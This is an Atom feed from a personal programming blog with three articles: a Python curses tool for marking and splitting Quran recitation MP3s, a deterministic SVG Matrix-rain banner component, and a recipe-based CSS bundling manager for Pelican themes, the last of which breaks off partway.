<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>MOSAID Articles &amp; Tutorials - Programming</title><link href="https://mosaid.xyz/" rel="alternate"></link><link href="https://mosaid.xyz/feeds/programming.atom.xml" rel="self"></link><id>https://mosaid.xyz/</id><updated>2026-06-09T00:43:19+00:00</updated><entry><title>Engineering a Deterministic Audio Boundary Marker with Python and Curses</title><link href="https://mosaid.xyz/articles/engineering-a-deterministic-audio-boundary-marker-with-python-and-curses-24.html" rel="alternate"></link><published>2026-06-09T00:43:19+00:00</published><updated>2026-06-09T00:43:19+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-06-09:/articles/engineering-a-deterministic-audio-boundary-marker-with-python-and-curses-24.html</id><summary type="html">&lt;p&gt;An in-depth walkthrough of a Python curses-based application for manually marking Quranic verse boundaries in MP3 files, persisting marker state, and exporting split files. The article covers architecture, UI decisions, undo/redo, guided marking, and export pipelines, with an honest evaluation of its place among existing tools.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I needed to split a long Quran recitation MP3 into one file per verse – precisely, with boundaries that matched the reciter’s pauses, not just fixed durations. Audacity could do it manually, but the process was tedious and error‑prone. I wanted a &lt;strong style="background:#F5F6CE;"&gt;deterministic, keyboard‑driven workflow&lt;/strong&gt; that I could pick up and resume anytime, with export pipelines that never left me guessing which segment went where.&lt;/p&gt;

&lt;p&gt;That’s how &lt;code&gt;verse_marker.py&lt;/code&gt; came to be: a terminal application built with Python, &lt;code&gt;curses&lt;/code&gt;, VLC, and FFmpeg. It’s &lt;strong style="background:#F5F6CE;"&gt;not a general‑purpose audio editor&lt;/strong&gt;; it’s a focused tool for interactively placing markers, editing them, and splitting audio according to a predictable naming scheme. The whole thing fits in about 10 source files and has no external database – everything is JSON on disk.&lt;/p&gt;

&lt;h2&gt;Architecture Overview&lt;/h2&gt;

&lt;p&gt;The codebase is organised into layers that each own a single responsibility:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Player layer&lt;/strong&gt; (&lt;code&gt;player.py&lt;/code&gt;) – abstracts audio playback behind a common interface. The only implementation uses VLC because its Python bindings give precise seek and reliable duration reporting.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Marker persistence&lt;/strong&gt; (&lt;code&gt;markers.py&lt;/code&gt;) – manages marker state as a &lt;code&gt;@dataclass&lt;/code&gt;, serialised to a JSON file with backup rotation. The same module provides undo/redo and a &lt;code&gt;VerseSession&lt;/code&gt; that normalises boundaries and handles segment queries.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;UI layer&lt;/strong&gt; (&lt;code&gt;ui.py&lt;/code&gt;) – a single &lt;code&gt;CursesUI&lt;/code&gt; class that owns the event loop, renders the interface, and orchestrates user actions. It’s the largest file (≈36 kB) but still only one responsibility: translating key presses into state mutations.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Splitter&lt;/strong&gt; (&lt;code&gt;splitter.py&lt;/code&gt;) – wraps FFmpeg with progress callbacks, using &lt;code&gt;-ss&lt;/code&gt;/&lt;code&gt;-to&lt;/code&gt; for gapless cuts.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Exporter&lt;/strong&gt; (&lt;code&gt;exporter.py&lt;/code&gt;) – produces auxiliary output: a &lt;code&gt;segments.json&lt;/code&gt; array and an FFmetadata chapters file, both useful for further scripting.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Config&lt;/strong&gt; (&lt;code&gt;config.py&lt;/code&gt;) – persists user preferences (prefix, verse count, output directory) in a simple JSON file.&lt;/p&gt;

&lt;p&gt;The layers are composable: the entrypoint (&lt;code&gt;verse_marker.py&lt;/code&gt;) wires them together, and a headless mode (&lt;code&gt;--split&lt;/code&gt; or &lt;code&gt;--export&lt;/code&gt;) skips the UI entirely, reusing the same marker and splitter components.&lt;/p&gt;

&lt;h2&gt;Marker State and Persistence&lt;/h2&gt;

&lt;p&gt;&lt;strong style="background:#F5F6CE;"&gt;Markers are just a sorted list of floating‑point seconds, always starting with 0.0.&lt;/strong&gt; The &lt;code&gt;MarkerState&lt;/code&gt; dataclass also stores the expected number of verses, the label rule for the first segment (verse 000, basmalah, or verse 001), and a resume position. Saving uses a write‑to‑temp‑then‑replace strategy to avoid corruption on a crashed terminal. Backup rotation keeps up to 5 previous copies, which saved me more than once when I accidentally deleted a boundary near the end of a 45‑minute recitation.&lt;/p&gt;

&lt;h2&gt;UI Design: Curses That Respects Muscle Memory&lt;/h2&gt;

&lt;p&gt;The interface is a single‑screen dashboard. &lt;strong style="background:#F5F6CE;"&gt;Every action is a single keypress&lt;/strong&gt;, with no modal dialogs that trap the cursor. The bottom of the screen always shows the full keymap – a deliberate choice to make the tool self‑documenting even for infrequent use.&lt;/p&gt;

&lt;p&gt;Key design decisions:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Guided marking mode&lt;/strong&gt; (default): when &lt;code&gt;Enter&lt;/code&gt; is pressed near an existing marker (within a configurable window, here 1 s), the tool asks whether to replace the existing boundary or insert a new one. This &lt;strong style="background:#F5F6CE;"&gt;removes the need for manual correction passes&lt;/strong&gt; – you can refine boundaries while listening, and the tool keeps the marker list clean.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Undo/redo&lt;/strong&gt; with a stack of 50 snapshots. I implemented it as a simple list of boundary arrays, which is cheap because the data is tiny. Each destructive operation pushes a snapshot first.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Loop and preview&lt;/strong&gt;: you can set &lt;code&gt;A&lt;/code&gt;/&lt;code&gt;B&lt;/code&gt; loop points and preview a single segment without leaving the main view. This is invaluable when verifying the transition between two verses.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Segment list view&lt;/strong&gt; (&lt;code&gt;v&lt;/code&gt; key) that shows every segment’s start, end, duration, and filename, with scrolling. It’s a sanity‑check table before you hit &lt;code&gt;x&lt;/code&gt; to split.&lt;/p&gt;

&lt;h2&gt;Export and Reproducibility&lt;/h2&gt;

&lt;p&gt;Markers aren’t just for splitting. The &lt;strong style="background:#F5F6CE;"&gt;exporter produces &lt;code&gt;segments.json&lt;/code&gt; and an FFmetadata chapters file&lt;/strong&gt;, which means you can use the same marker data to:&lt;/p&gt;

&lt;ul class="compact-list"&gt;
  &lt;li&gt;Inject chapter metadata into the original MP3 with &lt;code&gt;ffmpeg -i in.mp3 -i chapters.ffmeta -map_metadata 1 out.mp3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Drive scripted workflows (e.g., generating timestamps for a web player)&lt;/li&gt;
  &lt;li&gt;Share marker sets so others can reproduce your exact splits&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The JSON output looks like this:&lt;/p&gt;

&lt;pre class="language-json"&gt;
&lt;code class="language-json"&gt;

[
  {"start": 0.0, "end": 12.345, "duration": 12.345, "name": "022001.mp3"},
  {"start": 12.345, "end": 24.678, "duration": 12.333, "name": "022002.mp3"}
]
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Code Snippets That Illustrate the Core&lt;/h2&gt;

&lt;p&gt;Adding a boundary in &lt;strong&gt;guided mode&lt;/strong&gt; (inside &lt;code&gt;VerseSession&lt;/code&gt;):&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

def add_boundary(self, t: float) -&gt; int:
    t = max(0.0, float(t))
    self.state.boundaries.append(t)
    self._normalize()
    i, _ = self.nearest_boundary(t, exclude_zero=False)
    return int(i or 0)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The &lt;strong&gt;undo/redo stack&lt;/strong&gt; is remarkably simple because boundaries are just a list:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

class UndoRedo:
    MAX_STACK = 50

    def __init__(self):
        self.undo_stack: List[List[float]] = []
        self.redo_stack: List[List[float]] = []

    def push(self, boundaries: List[float]) -&gt; None:
        self.undo_stack.append(list(boundaries))
        if len(self.undo_stack) &gt; self.MAX_STACK:
            self.undo_stack.pop(0)
        self.redo_stack.clear()

    def undo(self, current: List[float]) -&gt; Optional[List[float]]:
        if not self.undo_stack:
            return None
        self.redo_stack.append(list(current))
        return self.undo_stack.pop()
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;And the &lt;strong&gt;export pipeline&lt;/strong&gt; that ties it all together (from &lt;code&gt;exporter.py&lt;/code&gt;):&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

def export_segments_json(self, out_path: Path, segments: List[Tuple[float, float]],
                         names: Optional[List[str]] = None) -&gt; None:
    data = []
    for i, (ss, ee) in enumerate(segments, start=1):
        row = {"start": ss, "end": ee, "duration": ee - ss}
        if names:
            row["name"] = names[i - 1]
        data.append(row)
    out_path.write_text(json.dumps(data, ensure_ascii=False, indent=2),
                        encoding="utf-8")
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Why Not Use Existing Tools?&lt;/h2&gt;

&lt;p&gt;When I started this project, I evaluated the alternatives honestly:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Audacity&lt;/strong&gt; – powerful but GUI‑only. I wanted a keyboard‑only workflow that I could run over SSH or in a tmux session on a headless machine. Exporting exactly 78 labelled MP3s from Audacity still required manual clicks for each label.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Sonic Visualiser&lt;/strong&gt; – great for analysis, not for splitting. Its label export is flexible, but the workflow of marking boundaries while playback continues is clunky.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;pydub / librosa&lt;/strong&gt; – I could script splitting with them, but I’d lose the interactive, &lt;em&gt;auditory&lt;/em&gt; feedback that’s essential for catching the exact pause between two verses. Purely visual waveform inspection misses recitation‑style nuances.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Other purpose‑built Quran splitters&lt;/strong&gt; – most are either Windows‑only, abandonware, or tie the user to a specific reciter’s timing.&lt;/p&gt;

&lt;p&gt;&lt;strong style="background:#F5F6CE;"&gt;This tool fills a precise gap&lt;/strong&gt;: a deterministic, terminal‑first, keyboard‑driven workflow that never touches a mouse and leaves behind a reusable marker file. The core logic (marker session, undo, splitter) is completely decoupled from the UI, so it could be repurposed for any audio segmentation task where you need to mark boundaries by ear.&lt;/p&gt;

&lt;h2&gt;Is It Worth Putting on GitHub?&lt;/h2&gt;

&lt;p&gt;Yes – with realistic expectations. The tool is &lt;strong style="background:#F5F6CE;"&gt;production‑grade for my personal needs&lt;/strong&gt;, but its audience is niche: people who need to split Quranic recitations precisely and are comfortable on a Linux terminal. There are certainly “better” tools if you need a full‑blown audio workstation, but none that combine an interactive curses session with automatic backup rotation, guided correction, and scriptable export formats.&lt;/p&gt;

&lt;p&gt;On GitHub, the project can serve as:&lt;/p&gt;

&lt;ul class="compact-list"&gt;
  &lt;li&gt;A &lt;strong&gt;reference implementation&lt;/strong&gt; for anyone building a curses‑based audio tool.&lt;/li&gt;
  &lt;li&gt;A &lt;strong&gt;reproducible specification&lt;/strong&gt;: given the same MP3 and the marker JSON, anyone can re‑split and verify the result.&lt;/li&gt;
  &lt;li&gt;A &lt;strong&gt;seed&lt;/strong&gt; for contributors who might add visual waveform display (e.g., via &lt;code&gt;asciimatics&lt;/code&gt;), support for other audio formats, or integration with metadata providers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I don’t expect thousands of stars. But &lt;strong style="background:#F5F6CE;"&gt;a tool that solves a real, well‑defined problem with clean architecture and zero‑friction installation&lt;/strong&gt; belongs in the open. If one other person uses it to split a single recitation without losing their patience, it’s worth the push.&lt;/p&gt;

&lt;h2&gt;Future Directions&lt;/h2&gt;

&lt;p&gt;A few things I might add if the need arises:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Waveform thumbnail&lt;/strong&gt; in the terminal – just a rough amplitude bar, enough to see gaps visually.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Multiple recitation profiles&lt;/strong&gt; – sometimes the same surah is recited with different timing; marker sets could be versioned.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Validated export&lt;/strong&gt; – after splitting, the tool could re‑encode all segments to verify they play correctly and report mismatches.&lt;/p&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;

&lt;p&gt;This project is not an attempt to replace Audacity or build a general‑purpose editor. It’s &lt;strong style="background:#F5F6CE;"&gt;an engineer’s answer to a repetitive task&lt;/strong&gt;: turn a long MP3 and a set of listening‑derived timestamps into 78 well‑named files, quickly, accurately, and with a complete audit trail. The architecture reflects that single‑minded goal: layered, deterministic, and trivially scriptable.&lt;/p&gt;

&lt;p&gt;The source code is available &lt;a href="https://github.com/neoMOSAID/marker_app" target="_blank" &gt;on GitHub&lt;/a&gt;. If you do any work with audio segmentation that benefits from a keyboard‑first interface, give it a try – or take the patterns that make sense for your own tools.&lt;/p&gt;</content><category term="Programming"></category><category term="python"></category><category term="curses"></category><category term="audio"></category><category term="segmentation"></category><category term="quran"></category><category term="terminal"></category><category term="workflow"></category><category term="automation"></category><category term="ffmpeg"></category><category term="vlc"></category></entry><entry><title>Engineering the Matrix Rain: A Deterministic SVG Animation Component for My Pelican Banner Generator</title><link href="https://mosaid.xyz/articles/engineering-the-matrix-rain-a-deterministic-svg-animation-component-for-my-pelican-banner-generator-23.html" rel="alternate"></link><published>2026-06-08T21:16:23+00:00</published><updated>2026-06-08T21:16:23+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-06-08:/articles/engineering-the-matrix-rain-a-deterministic-svg-animation-component-for-my-pelican-banner-generator-23.html</id><summary type="html">&lt;p&gt;A deep‑dive into building a reproducible, animated Matrix‑style digital rain effect in pure SVG. Covers the architecture, implementation, configuration, and integration with a modular banner generator for Pelican static sites.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Why a Matrix Rain Component?&lt;/h2&gt;

&lt;p&gt;The banner generator I built for this Pelican site needed visual flair without external assets. Every banner is an SVG generated deterministically from article metadata and a theme system. Adding a Matrix‑style digital rain effect turned out to be more than just decoration — it became a &lt;strong style="background:#F5F6CE;"&gt;study in reproducible, configurable SVG animation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This article explains how I built the &lt;code&gt;matrix_rain&lt;/code&gt; component, one of many pluggable pieces in the generator. You can read about the overall architecture in the companion piece: &lt;a href="/articles/building-a-modular-banner-generator-for-pelican.html"&gt;Building a Modular Banner Generator for Pelican&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Architecture Overview&lt;/h2&gt;

&lt;p&gt;The rain effect is a pure SVG animation — no JavaScript, no canvas, no external CSS. Each banner is a standalone SVG image, so everything must be self‑contained. The component:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Purpose:&lt;/strong&gt; Adds an ambient, cyberpunk‑style background layer of falling green characters.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Placement:&lt;/strong&gt; Rendered behind other banner elements (text, badges) via z‑index ordering.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Mechanism:&lt;/strong&gt; Multiple &lt;code&gt;&amp;lt;text&amp;gt;&lt;/code&gt; columns, each with a vertical &lt;code&gt;&amp;lt;animateTransform&amp;gt;&lt;/code&gt; that moves a strip of characters from above the canvas to below it.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;Reproducibility:&lt;/strong&gt; Seeded random number generation ensures the same banner always renders identically for the same article.&lt;/p&gt;

&lt;h2&gt;Implementation Walkthrough&lt;/h2&gt;

&lt;h3&gt;Component Base Class&lt;/h3&gt;

&lt;p&gt;Every banner component inherits from &lt;code&gt;BaseComponent&lt;/code&gt; and provides a &lt;code&gt;render()&lt;/code&gt; method that returns an SVG fragment string. The system passes canvas dimensions (&lt;code&gt;self.w&lt;/code&gt;, &lt;code&gt;self.h&lt;/code&gt;) and configuration from the article’s metadata.&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

from __future__ import annotations
import random
from ..base import BaseComponent, xml_escape

DEFAULT_CHARS = (
    "日ﾊﾐﾋｰｳｼﾅﾓﾆｻﾜﾂｵﾘｱﾎﾃﾏｹﾒｴｶｷﾑﾕﾗｾﾈｽﾀﾇﾍｦｲ"
    "ｸｺｿﾁﾄﾉﾌﾔﾖﾙﾚﾛﾝ0123456789Z:・.\"=*+-&lt;&gt;¦｜╌"
)

FALLBACK_FONT_FAMILY = (
    "'Noto Sans Mono', 'DejaVu Sans Mono', "
    "'Liberation Mono', 'Courier New', monospace"
)

class Component(BaseComponent):
    component_id = "matrix_rain"
    z_index = 30
    section_name = "matrix_rain"
    description = "Animated Matrix‑style falling green rain (vertical columns)"
    # … configuration schema omitted for brevity
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;Animation Logic&lt;/h3&gt;

&lt;p&gt;The core idea: for each column, generate a vertical strip of characters with fixed vertical spacing (&lt;code&gt;dy="font_size"&lt;/code&gt;). Then animate the whole &lt;code&gt;&amp;lt;text&amp;gt;&lt;/code&gt; element’s &lt;code&gt;transform&lt;/code&gt; attribute using &lt;code&gt;translate&lt;/code&gt;. The strip moves from &lt;code&gt;y = -strip_height&lt;/code&gt; (above the canvas) to &lt;code&gt;y = canvas_height + strip_height&lt;/code&gt; (below the canvas). The animation duration and initial offset are randomised within configured bounds, giving the classic asynchronous look.&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

def render(self) -&gt; str:
    rain_cfg = self.cfg.get(self.section_name) or {}
    if not isinstance(rain_cfg, dict):
        rain_cfg = {}

    columns = int(rain_cfg.get("columns", 30))
    char_len = int(rain_cfg.get("char_length", 30))
    font_size = int(rain_cfg.get("font_size", 20))
    font_family = rain_cfg.get("font_family", FALLBACK_FONT_FAMILY)
    color = rain_cfg.get("color", "#00ff41")
    opacity = float(rain_cfg.get("opacity", 0.08))
    speed_min = float(rain_cfg.get("speed_min", 8))
    speed_max = float(rain_cfg.get("speed_max", 15))
    seed = int(rain_cfg.get("seed", 42))
    custom_chars = rain_cfg.get("char_set", "").strip()
    char_pool = custom_chars if custom_chars else DEFAULT_CHARS

    # sanity checks
    columns = max(columns, 1)
    char_len = max(char_len, 1)
    font_size = max(font_size, 1)
    speed_min = max(speed_min, 1)
    speed_max = max(speed_max, speed_min)

    canvas_w = self.w
    canvas_h = self.h
    strip_height = font_size * char_len

    start_y = -strip_height
    end_y = canvas_h + strip_height
    total_move = end_y - start_y

    rng = random.Random(seed)
    fragments = [f'&amp;lt;g opacity="{opacity}"&amp;gt;']

    for i in range(columns):
        col_rng = random.Random(rng.randint(0, 2**31 - 1))
        chars = [col_rng.choice(char_pool) for _ in range(char_len)]
        x = (canvas_w / (columns + 1)) * (i + 1)
        dur = col_rng.uniform(speed_min, speed_max)
        init_y = col_rng.uniform(-strip_height, canvas_h)
        begin = dur * (init_y - start_y) / total_move

        tspans = []
        for idx, ch in enumerate(chars):
            tspans.append(
                f'&amp;lt;tspan x="{x:.1f}" dy="{font_size}"&amp;gt;{xml_escape(ch)}&amp;lt;/tspan&amp;gt;'
            )

        text_block = (
            f'  &amp;lt;text font-family="{font_family}" '
            f'font-size="{font_size}" fill="{color}" text-anchor="middle"&amp;gt;\n'
            f'    &amp;lt;animateTransform attributeName="transform" type="translate" '
            f'from="0,{start_y}" to="0,{end_y}" '
            f'dur="{dur}s" begin="-{begin:.3f}s" repeatCount="indefinite" /&amp;gt;\n'
            + '\n'.join(tspans) +
            f'\n  &amp;lt;/text&amp;gt;'
        )
        fragments.append(text_block)

    fragments.append('&amp;lt;/g&amp;gt;')
    return '\n'.join(fragments)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Notice how &lt;code&gt;xml_escape()&lt;/code&gt; is applied to each character. The character pool includes &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;&lt;/code&gt; and other XML‑sensitive symbols — escaping is mandatory.&lt;/p&gt;

&lt;h3&gt;Determinism &amp;amp; Seeding&lt;/h3&gt;

&lt;p&gt;Every column gets its own seeded random generator derived from a master seed. This guarantees that the same configuration always produces an identical visual result, no matter when or where the banner is generated. For a static site with a CI pipeline that regenerates banners on every build, &lt;strong style="background:#F5F6CE;"&gt;deterministic rendering is non‑negotiable&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;Configuration Surface&lt;/h2&gt;

&lt;p&gt;The component exposes a rich set of configuration options, all driven by the site or article metadata:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;columns&lt;/strong&gt; (default 30): Number of falling rain strips.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;char_length&lt;/strong&gt; (default 30): Characters per strip.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;font_size&lt;/strong&gt; (default 20): Vertical spacing and visual size.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;font_family&lt;/strong&gt;: A cross‑platform monospace stack covering Katakana and symbols.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;color&lt;/strong&gt;: Classic &lt;code&gt;#00ff41&lt;/code&gt; green, but you can use any hex.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;opacity&lt;/strong&gt;: Controls rain visibility (default 0.08).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;speed_min / speed_max&lt;/strong&gt;: Range for animation duration per strip (seconds).&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;seed&lt;/strong&gt;: Master seed for reproducibility.&lt;/p&gt;
&lt;p&gt;&amp;#8226;&lt;strong&gt;char_set&lt;/strong&gt;: Override the default character pool.&lt;/p&gt;

&lt;p&gt;These settings can be tweaked globally in the generator’s configuration file or overridden per‑article via front matter, giving complete control over the look and feel.&lt;/p&gt;

&lt;h2&gt;Integration with the Banner Generator&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;matrix_rain&lt;/code&gt; component is just one of several that the generator stitches together. A full banner might combine rain, a background grid, floating geometry, and text overlays — all composed in a single SVG by the orchestration layer. &lt;strong style="background:#F5F6CE;"&gt;Each component is independently configurable, testable, and replaceable.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For the complete picture — how the pipeline discovers components, merges configurations, and assembles the final SVG — see &lt;a href="/articles/building-a-modular-banner-generator-for-pelican.html"&gt;Building a Modular Banner Generator for Pelican&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;Performance &amp;amp; Tradeoffs&lt;/h2&gt;

&lt;p&gt;Pure SVG animation can be heavy at large column counts. I found 30 columns with 30‑character strips and an opacity of 0.08 strikes a good balance between visual impact and render performance across modern browsers. The animation uses &lt;code&gt;translate&lt;/code&gt; rather than per‑character animations, which keeps the DOM footprint manageable.&lt;/p&gt;

&lt;p&gt;One limitation: SVG animations don’t run inside some environments (e.g., certain image previewers). In those cases the rain simply appears as a static, faint green texture — which is acceptable for a banner.&lt;/p&gt;

&lt;h2&gt;Why Build It from Scratch?&lt;/h2&gt;

&lt;p&gt;Alternatives like canvas‑based animations or CSS &lt;code&gt;@keyframes&lt;/code&gt; either don’t work inside standalone SVG images or break determinism. By using &lt;code&gt;&amp;lt;animateTransform&amp;gt;&lt;/code&gt; and seeded randomisation, we get a &lt;strong style="background:#F5F6CE;"&gt;self‑contained, version‑controlled, fully automated visual asset&lt;/strong&gt; that fits perfectly into a developer’s static site pipeline.&lt;/p&gt;

&lt;h2&gt;Future Improvements&lt;/h2&gt;

&lt;p&gt;Potential enhancements include:&lt;/p&gt;

&lt;p&gt;&amp;#8226; Variable character brightness (fading in/out) per column.&lt;/p&gt;
&lt;p&gt;&amp;#8226; Support for multiple rain layers with different speeds.&lt;/p&gt;
&lt;p&gt;&amp;#8226; Integration with article metadata to vary the rain colour or density dynamically.&lt;/p&gt;

&lt;p&gt;All of these are trivial to add thanks to the component architecture and deterministic foundations.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“The Matrix is a system, Neo. That system is our enemy. But when you are inside, you look around, what do you see? Businessmen, teachers, lawyers, carpenters. The very minds of the people we are trying to save. But until we do, these people are still a part of that system, and that makes them our enemy. You have to understand, most of these people are not ready to be unplugged. And many of them are so inert, so hopelessly dependent on the system, that they will fight to protect it.”&lt;/p&gt;
&lt;/blockquote&gt;</content><category term="Programming"></category><category term="matrix rain"></category><category term="SVG"></category><category term="animation"></category><category term="banner generator"></category><category term="Pelican"></category><category term="Python"></category><category term="deterministic"></category><category term="component architecture"></category></entry><entry><title>Replaying CSS Builds: A Recipe-Based Manager for Pelican Themes</title><link href="https://mosaid.xyz/articles/replaying-css-builds-a-recipe-based-manager-for-pelican-themes-20.html" rel="alternate"></link><published>2026-06-01T16:34:09+00:00</published><updated>2026-06-01T16:34:09+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-06-01:/articles/replaying-css-builds-a-recipe-based-manager-for-pelican-themes-20.html</id><summary type="html">&lt;p&gt;A deep dive into a Python tool that combines, purges, minifies, and redeploys CSS bundles for Pelican themes using a recipe-based pipeline. Learn how it records every build step, automatically replays the entire chain, and drops the result into the output folder – no full site rebuild required.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;The Render‑Blocking Problem&lt;/h2&gt;

&lt;p&gt;Every CSS file a browser encounters before rendering the page adds a
network round‑trip and delays the first paint. In a Pelican theme, it’s
common to split styles across many small files – typography, code
highlighting, comments, special layouts. The result is a handful of
&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tags in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;, each a
render‑blocking request.&lt;/p&gt;

&lt;p&gt;During development I found myself staring at Lighthouse reports that
pointed to exactly this overhead. I had the source files in separate,
well‑organised chunks, but serving them individually was hurting
performance. The answer is obvious: bundle them into a single file. But
how do you maintain that bundle while you’re actively editing the
originals?&lt;/p&gt;

&lt;h2&gt;The Development Loop That Slowed Me Down&lt;/h2&gt;

&lt;p&gt;The manual workflow looked like this:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;

# 1. Edit one of the source CSS files
vim theme/static/css/mycss/articles-cards.css

# 2. Concatenate all the pieces
cat base.css ... articles-cards.css ... &gt; bundle.css

# 3. Purge unused selectors (if I remembered)
npx purgecss --css bundle.css --content output/**/*.html --output bundle.purged.css

# 4. Minify
npx csso bundle.purged.css --output bundle.min.css --comments none

# 5. Rebuild Pelican (slow, ~20–40 seconds)
make html

# 6. Copy the final file into the output directory
cp bundle.min.css output/theme/css/newcss/

# 7. Refresh the browser
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;That’s seven steps, two manual command invocations that I would
regularly forget, and a full Pelican rebuild just to see whether my
CSS change had the desired effect. The loop was slow, error‑prone, and
frustrating.&lt;/p&gt;

&lt;p&gt;The real pain came when I wanted to test several variants. I would
create bundles for different templates (articles, courses, blogs),
purge them against their respective content, and then have to re‑run
the whole chain after every small tweak. I needed a tool that could
&lt;strong&gt;remember what I did&lt;/strong&gt; and do it again automatically.&lt;/p&gt;

&lt;h2&gt;The CSS Bundle Experiment Manager&lt;/h2&gt;

&lt;p&gt;I wrote a Python script that turns the manual workflow into a
reproducible pipeline. It stores every operation – combine, purge,
minify – as a &lt;strong&gt;recipe&lt;/strong&gt; and can replay the full sequence
from the original source files all the way to the deployed result. The
script lives in the project root and uses an interactive CLI.&lt;/p&gt;

&lt;p&gt;Here’s what a typical session looks like:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;

$ python css_manager.py
================================================================================
CSS BUNDLE EXPERIMENT MANAGER
================================================================================
 1) List all assets
 2) Create a bundle (combine)
 3) Show bundle details
 4) Show bundle tree
 5) Delete a managed asset
 6) Purge a CSS file (purgecss)
 7) Minify a CSS file (csso)
 8) Copy a managed asset to site dirs
 9) Deploy again (replay &amp; copy to newcss)
10) Exit

Choice: 9
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;After building a bundle once (options 2, 6, 7), option 9 replays
everything and copies the output to
&lt;code&gt;output/theme/css/newcss/&lt;/code&gt; – the directory my template
references during development. I can edit any source file, press 9, and
refresh the browser. No Pelican rebuild, no manual concatenation.&lt;/p&gt;

&lt;h2&gt;Architecture&lt;/h2&gt;

&lt;p&gt;The manager tracks two types of assets:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Original assets:&lt;/strong&gt; the source CSS files listed
in a &lt;code&gt;BASE_FILES&lt;/code&gt; configuration list. These are read‑only
from the tool’s perspective.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Managed assets:&lt;/strong&gt; any CSS file produced by
combining, purging, or minifying. Each managed asset carries a
&lt;code&gt;recipe&lt;/code&gt; that describes exactly how it was built.&lt;/p&gt;

&lt;p&gt;The metadata is stored in a JSON file
(&lt;code&gt;css-experiments/managed/metadata.json&lt;/code&gt;) that survives
across sessions. The in‑memory representation is a simple dictionary
keyed by absolute path:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

{
  "/path/to/bundle.css": {
    "type": "combined",
    "sources": ["/path/to/base.css", "/path/to/cards.css", ...],
    "recipe": {
      "operation": "combine",
      "sources": ["/path/to/base.css", "/path/to/cards.css"]
    }
  }
}
&lt;/code&gt;
&lt;/pre&gt;

